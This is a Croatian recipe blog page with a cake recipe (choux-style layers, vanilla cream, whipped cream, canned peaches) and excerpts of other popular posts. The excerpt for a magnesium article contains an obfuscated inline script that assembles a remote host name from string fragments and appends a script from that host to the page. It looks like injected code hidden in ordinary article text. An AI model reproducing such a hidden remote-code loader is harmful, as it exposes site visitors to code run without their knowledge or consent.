KARPATI KOLAČ S BRESKVAMA 🍑




Karpati kolač s breskvama 



Raskošan kolač od mekanih kuhanih kora, bogate kreme od vanilije, prozračnog šlaga i sočnih komadića breskve iz kompota.




Karpati kolač s breskvama 


Sastojci:

za tijesto:

  • 2 dl vode
  • 125 g margarina
  • 2 dl glatkog brašna
  • 5 jaja
  • prstohvat soli

za kremu:

  • 3 pudinga od vanilije
  • 1 l mlijeka
  • 200 g šećera
  • 125 g margarina

ostalo:

  • 2 konzerve kompota od breskve
  • 500 ml vrhnja za šlag
  • šećer u prahu za posipanje



Priprema:

  1. Pripremite tijesto. U loncu zakuhajte vodu, margarin i prstohvat soli. Kada smjesa zavrije, odjednom dodajte brašno i kratko miješajte dok ne dobijete glatku, povezanu masu.
  2. Smjesu prebacite u drugu posudu i odmah umiješajte jaja, jedno po jedno, miješajući nakon svakog dodavanja dok ne dobijete glatko tijesto.
  3. Ispecite kore. Pećnicu zagrijte na 220 °C. Polovicu tijesta vrlo tanko rasporedite po limu obloženom papirom za pečenje. Pecite oko 20 minuta, odnosno dok kora ne poprimi zlatnu boju. Na isti način ispecite i drugu polovicu tijesta. Kore ostavite da se potpuno ohlade.
  4. Od mlijeka, šećera i pudinga skuhajte gustu kremu prema uputama. Tijekom hlađenja povremeno je promiješajte kako se na površini ne bi stvorila korica. U potpuno ohlađenu kremu umutite omekšali margarin.
  5. Složite kolač. Na prvu koru rasporedite kremu od vanilije. Breskve iz kompota dobro ocijedite, narežite na manje kockice i rasporedite preko kreme. Istucite vrhnje za šlag i rasporedite ga preko breskvi. Poklopite drugom korom i prije posluživanja obilno pospite šećerom u prahu.
  6. Kolač je najbolje ostaviti nekoliko sati u hladnjaku, a idealno preko noći. Tako će kore omekšati, krema će se lijepo stisnuti, a okusi će se savršeno povezati.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više